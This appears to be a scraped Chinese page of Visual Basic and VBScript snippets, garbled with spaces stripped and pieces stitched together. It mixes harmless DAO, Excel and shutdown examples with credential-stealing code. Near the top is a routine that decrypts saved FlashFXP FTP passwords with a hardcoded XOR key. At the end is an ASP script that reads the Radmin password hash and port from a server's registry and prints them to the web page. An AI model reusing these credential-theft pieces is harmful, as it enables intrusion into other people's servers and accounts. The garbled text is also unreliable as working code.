DAO可以访问的远程数据源有以下三类:
.microsoftjet数据源,如:access数据
PublicFunctionDecryptFlashFXP(passwordAsString)AsString
DimxAsInteger
Dimmagic()AsString
DimchrresultaAsInteger
DimchrresultbAsInteger
DimchrlastAsInteger
DimchrtmpAsInteger
DimmagicnumAsInteger
DimpwdtmpAsString
'MAGICBUFFER="yA36zA48dEhfrvghGRg57h5
'UlDv3"
magic=Split("121,65,51,54,122,65,52,56,100,69,104,102,114,118,103,104,71,82,103,53,55,104,53,85,108,68,118,51",",")
chrlast=Val("&H"&Mid(password,1,2))
magicnum=0
Forx=3ToLen(password)Step2
chrtmp=Val("&H"&Mid(password,x,2))
chrresulta=(chrtmpXormagic(magicnum))
chrresultb=chrresulta-Val(chrlast)
Ifchrresultb>255orchrresultb<0Then
chrresultb=chrresultb-&HFFFFFF01
EndIf
chrlast=chrtmp
pwdtmp=pwdtmp&Chr(chrresultb)
magicnum=magicnum+1
Ifmagicnum>27Then
magicnum=0
EndIf
Nextx
DecryptFlashFXP=pwdtmp
EndFunction
该文章由老刘原创,转载需注明原作者昵称一个小例子,在编程之前,请选择“工程”-“引用”
确定引用“microsoftDAO3.51Objectlibrary”
dimdbasdatabase
dimrsasrecordset
privatesubform1_load()
Setdb=OpenDatabase(App.Path "\TTT.mdb")'()内是你的数据库所在位置
Setrs=db.OpenRecordset("ABC")'()内是你数据库里面的表名
endsub
修改数据库的方法是:
privatesubEditNow()
NewName=text1.text
NewP=text2.text
withrs
.edit
!名字=Lcase(newname)'“名字”是你表中的项目,(newname)内是你根据你的代码改变的值
!密码=Lcase(newp)'同上
.update
endwith
endsub
建立是用rs.addnew
呵呵,方法就是这样,希望会对菜鸟有帮助
'定时关机或重启的脚本,在windows2000下通过
'codebyhaiwa-11-7
dimActionID
ActionID=1'0注销,1关机,2重启,
ActionTime="-11-713:42:30"'关机或重启时间
functionShutDown()
dimobjShell
SetobjShell=WScript.CreateObject("Wscript.Shell")
dimApplication
setApplication=CreateObject("Shell.Application.1")
Application.ShutdownWindows()
dimupi
forupi=0to4
WScript.Sleep(50)
objShell.sendKeys("{UP}")
next
Forupi=1toActionID
WScript.Sleep(50)
objShell.sendKeys("{DOWN}")
next
'使用时,请把下行的注释符去掉
'objShell.sendKeys("{ENTER}")
endfunction
Whiletrue
ifDateDiff("s",Now,ActionTime)<0then
ShutDown()
endif
WScript.Sleep(5*1000)
wend
请给标准工程添加ListBox和TextBox控件各一个,其各项属性均取默认值,然后将下列代码拷贝到你的工程:
OptionExplicit
'申明API函数
PrivateDeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByValhwndAsLong,ByValwMsgAsLong,ByValwParamAsInteger,ByVallParamAsAny)AsLong
ConstLB_FINDSTRING=&H18F'常数
PrivateSubForm_Load()
'给列表框添加26个字母(大写)
DimiAsInteger
Fori=Asc("A")ToAsc("Z")
List1.AddItemChr$(i)
Next
Text1=""'令文本框为空
EndSub
PrivateSubText1_KeyPress(KeyAsciiAsInteger)
Text1=""'按下任意键则令原内容消失
Text1.SelLength=1'限制长度
Text1.SelText=Chr(KeyAscii)'显示键盘符号
KeyAscii=0'禁止响铃
'ListBox中的项目文本若与文本框的一致则选中(高亮)
List1.ListIndex=SendMessage(List1.hwnd,LB_FINDSTRING,-1,ByValCStr(Text1.Text))
EndSub
以上程序适用于单项目为多个字母的查询,但必须注意,在TextBox的KeyPress事件中要作相应的改动
The Windows handle of the palette used by the picture. 出于简单化的考虑,我使用VB6.0简体中文企业版来完成这一例程
Const xlWorkbookNormal=-4143
Const xlSaveChanges=1
objStartFolder="c:\test" '要读取的源文件目录
desExcel="c:\result1.xls" '最后生成的汇总excel
Set ExcelApp=CreateObject("Excel.Application")
Set destbook=ExcelApp.Workbooks.Add '创建空文件
Set objFSO=CreateObject("Scripting.FileSystemObject")'建立filesystemobject
Set objFolder=objFSO.GetFolder(objStartFolder)'获取文件夹
Set colFiles=objFolder.Files '获得源目录下所有文件
intRow=1 '行数
For Each objFile in colFiles '依次处理文件夹中的文件
If UCase(Right(Trim(objFile.Name), 3))="XLS" Then '只处理xls文件
Set srcbook=ExcelApp.Workbooks.Open(objStartFolder + "" + objFile.Name) '打开xls文件
'srcbook.Worksheets(1).Copy destbook.Worksheets(1)
srcbook.activate
intCol=1 '列数
Do Until ExcelApp.Cells(1,intCol).Value=""
tempdata=ExcelApp.Cells(1, intCol).Value
destbook.activate
ExcelApp.Cells(intRow, intCol).Value=tempdata
srcbook.activate
intCol=intCol + 1
Loop
srcbook.Close '关闭已经打开的xls文件
End If
intRow=intRow+1
Next
destBook.SaveAs desExcel,xlWorkbookNormal
destBook.close xlSaveChanges
ExcelApp.quit
争霸注入器
1.建立含有如下控件的窗体:
控件NAMECAPTION
窗体FORM1用VB6.0设计ABOUT窗口命令按钮COMMAND1关于销售管理系统
2.程序清单:
PrivateDeclareFunctionGetWindowWordLib"user32"
(ByValhwndAsLong,ByValnIndexAsLong)AsInteger
PrivateDeclareFunctionShellAboutLib
"shell32.dll"Alias"ShellAboutA"(ByValhwndAsLong,
ByValszAppAsString,ByValszOtherStuffAsString,
ByValhIconAsLong)AsLong
PrivateDeclareFunctionExtractIconLib
"shell32.dll"Alias"ExtractIconA"(ByValhinstAsLong,
ByVallpszExeFileNameAsString,ByValnIconIndexAs
Long)AsLongPrivateDeclareFunctionGetDiskFreeSpace
Lib"kernel32"Alias"GetDiskFreeSpaceA"(ByVal
lpRootPathNameAsString,lpSectorsPerClusterAsLong,
lpBytesPerSectorAsLong,lpNumberOfFreeClustersAs
Long,lpTotalNumberOfClustersAsLong)AsLongPrivate
DeclareFunctionGetDriveTypeLib"kernel32"Alias
"GetDriveTypeA"(ByValnDriveAsString)AsLong
PrivateDeclareSubGetSystemInfoLib"kernel32"
(lpSystemInfoAsSYSTEM_INFO)PrivateDeclareFunction
GetSystemMetricsLib"user32"(ByValnIndexAsLong)As
Long
PrivateConstGWL_EXSTYLE=(-20)
PrivateConstGWL_STYLE=(-16)
PrivateConstGWL_WNDPROC=(-4)
PrivateConstGWL_HINSTANCE=(-6)
PrivateTypeSYSTEM_INFO
dwOemIDAsLong
dwPageSizeAsLong
lpMinimumApplicationAddressAsLong
lpMaximumApplicationAddressAsLong
dwActiveProcessorMaskAsLong
dwNumberOrfProcessorsAsLong
dwProcessorTypeAsLong
dwAllocationGranularityAsLong
dwReservedAsLong
EndType
PrivateConstSM_CXSCREEN=0
PrivateConstSM_CYSCREEN=1
PrivateSubCommand1_Click()
DimhinstAsLong
DimiconsAsLong
DimaboutsAsLong
DimdispxAsString
DimdispyAsString
DimcpsAsString
Dimspace1AsString
Dimspace2AsString
hinst=GetWindowWord(Me.hwnd,GWL_HINSTANCE)
icons=ExtractIcon(hinst,"d:fpw26foxprow.exe",0)
DimsysinfoAsSYSTEM_INFO
Dimcls1AsLong
Dimcls2AsLong
DimsecsAsLong
DimbytesAsLong
DimbuffsAsString
buff="C:"
x=GetDriveType(buffs)
x=GetDiskFreeSpace(buffs,secs,bytes,cls1,cls2)
cls1=cls1*secs*bytes
cls2=cls2*secs*bytes
space1="C驱动器总共容量:" Format$(cls2/1024,"#,#") "千字节"
space2="C驱动器可用容量:
" Format$(cls1/1024,"#,#") "千字节"
x=GetSystemMetrics(SM_CXSCREEN)
dispx="显示器分辨率:" Str$(x)
x=GetSystemMetrics(SM_CYSCREEN)
dispy=Str$(x)
CallGetSystemInfo(sysinfo)
SelectCasesysinfo.dwProcessorType
Case386
cpus="处理器类型:386"
Case486
cpus="处理器类型:486"
Case586
cpus="处理器类型:586"
EndSelect
abouts=ShellAbout(Me.hwnd,"演示程序",
"销售管理系统V2.0版权所有[C]1998-1999蔡可训"
&Chr$(13)&Chr$(10)&space1&Chr$(13)&Chr$(10)
&space2&Chr$(13)&Chr$(10)&cpus "" dispx
"*" dispy,icons)
EndSub
----以上程序在WINDOWS98,VISUALBASIC6.0FORWINDOWS环境下运行通过.用户可以将其加入应用系统的ABOUT菜单项,通过菜单项调用它,效果更好->
'========================================Main======================================
SetWSH=Server.CreateObject("Wscript.shell")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters"
Parameter="Parameter"
Port="Port"
ParameterArray=WSH.Regread(RadminPath&Parameter)
Response.write"TheResultofRadminHash"
Response.write"
"
Response.writeParameter&":"
'===========ReadPassWord=========
IfIsArray(ParameterArray)Then
Fori=0ToUBound(ParameterArray)
IfLen(hex(ParameterArray(i)))=1Then
strObj=strObj&"0"&CStr(Hex(ParameterArray(i)))
Else
strObj=strObj&Hex(ParameterArray(i))
EndIf
Next
response.writeLcase(strobj)
Else
response.write"Error!Can'tRead!"
EndIf
Response.write"
"
'===========ReadPort=========
PortArray=WSH.REGREAD(RadminPath&Port)
IfIsArray(PortArray)Then
Response.writePort&":"
Response.writehextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
Else
Response.write"Error!Can'tRead!"
EndIf
'=============hexTOint==========
Functionhextointer(strin)
Dimi,j,k,result
result=0
Fori=1ToLen(strin)
IfMid(strin,i,1)="f"OrMid(strin,i,1)="F"Then
j=15
EndIf
IfMid(strin,i,1)="e"OrMid(strin,i,1)="E"Then
j=14
EndIf
IfMid(strin,i,1)="d"OrMid(strin,i,1)="D"Then
j=13
EndIf
IfMid(strin,i,1)="c"OrMid(strin,i,1)="C"Then
j=12
EndIf
IfMid(strin,i,1)="b"OrMid(strin,i,1)="B"Then
j=11
EndIf
IfMid(strin,i,1)="a"OrMid(strin,i,1)="A"Then
j=10
EndIf
IfMid(strin,i,1)<="9"AndMid(strin,i,1)>="0"Then
j=CInt(Mid(strin,i,1))
EndIf
Fork=1ToLen(strin)-i
j=j*16
Next
result=result+j
Next
hextointer=result
EndFunction
'================End==========
%>。